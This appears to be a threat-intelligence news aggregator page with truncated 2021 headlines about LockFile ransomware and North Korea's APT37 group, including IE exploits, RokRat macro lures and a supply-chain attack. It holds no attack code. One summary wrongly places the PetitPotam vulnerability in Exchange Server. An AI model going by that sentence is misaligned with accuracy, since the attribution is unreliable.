MITRE ATT&CK: [MITRE ATT&CK] Exploitation for Client Execution - T1203 | [MITRE ATT&CK] Web Shell - T1100 | [MITRE ATT&CK] Hidden Files and Directories - T1158 | [MITRE ATT&CK] Source - T1153
Tags: CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, Exchange, ProxyShell, backdoor
LockFile: Ransomware Uses PetitPotam Exploit to Compromise Windows Domain Controllers
(published: August 20, 2021)
A new ransomware family, named Lockfile by Symantec researchers, has been observed on the network of a US financial organization. The first known instance of this ransomware was July 20, 2021, and activity is ongoing. This ransomware has been seen largely targeting organizations in a wide range of industries across the US and Asia. The initial access vector remains unknown at this time, but the ransomware leverages the incompletely patched PetitPotam vulnerability (CVE-2021-36942) in Microsoft's Exchange Server to pivot to Domain Controllers (DCs) which are then leveraged to deploy ransomware tools to devices that connect to the DC. The attackers appear to remain resident on the network for several |
Ransomware Malware Tool Vulnerability Threat Patching Cloud | APT 37 | |
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2021-08-19 20:19:04 | InkySquid State Actor Exploiting Known IE Bugs (lien direct) | The North Korea-linked APT group leverages known Internet Explorer vulns for watering-hole attacks. | APT 37 | ||
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2021-08-19 06:47:34 | NK-linked InkySquid APT leverages IE exploits in recent attacks (lien direct) | North Korea-linked InkySquid group leverages two Internet Explorer exploits to deliver a custom implant in attacks aimed at a South Korean online newspaper. Experts from cybersecurity firm Volexity reported that North Korea-linked InkySquid group (aka ScarCruft, APT37, Group123, and Reaper) leverages two Internet Explorer exploits to deliver a custom backdoor in watering hole attacks aimed at the […] | Cloud | APT 37 | |
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2021-08-18 01:33:33 | NK Hackers Deploy Browser Exploits on South Korean Sites to Spread Malware (lien direct) | A North Korean threat actor has been discovered taking advantage of two exploits in Internet Explorer to infect victims with a custom implant as part of a strategic web compromise (SWC) targeting a South Korean online newspaper.
Cybersecurity firm Volexity attributed the attacks to a threat actor it tracks as InkySquid, and more widely known by the monikers ScarCruft and APT37. Daily NK, the |
Malware Threat Cloud | APT 37 | |
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2021-02-11 11:00:00 | UN Links North Korea to $281m Crypto Exchange Heist (lien direct) | Most funds recovered but attack bears hallmarks of hermit kingdom | Cloud | APT 37 | |
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2021-01-08 01:54:44 | ALERT: North Korean hackers targeting South Korea with RokRat Trojan (lien direct) | A North Korean hacking group has been found deploying the RokRat Trojan in a new spear-phishing campaign targeting the South Korean government.
Attributing the attack to APT37 (aka Starcruft, Ricochet Chollima, or Reaper), Malwarebytes said it identified a malicious document last December that, when opened, executes a macro in memory to install the aforementioned remote access tool (RAT).
"The |
Tool Cloud | APT 37 | |
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2021-01-07 18:24:41 | North Korea-linked APT37 targets South with RokRat Trojan (lien direct) | Experts spotted the RokRat Trojan being used by North Korea-linked threat actors in attacks aimed at the South Korean government. On December 7 2020 researchers from Malwarebytes uncovered a campaign targeting the South Korean government with a variant of the RokRat RAT. The experts found a malicious document uploaded to Virus Total related to a […] | Threat | APT 37 | |
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2021-01-06 15:14:45 | Retrohunting APT37: North Korean APT used VBA self decode technique to inject RokRat (lien direct) |
A North Korean threat group has swapped the usual Hangul Office lures for a cleverly packed Office macro.
Categories: Social engineeringThreat analysis
Tags: APT37HangulkoreaOfficerokratVBA
(Read more...)
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Threat Cloud | APT 37 | |
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2021-01-05 11:55:57 | North Korean software supply chain attack targets stock investors (lien direct) | North Korean hacking group Thallium aka APT37 has been targeting a private stock investment messenger service in a supply chain attack, as reported this week. [...] | Cloud | APT 37 |
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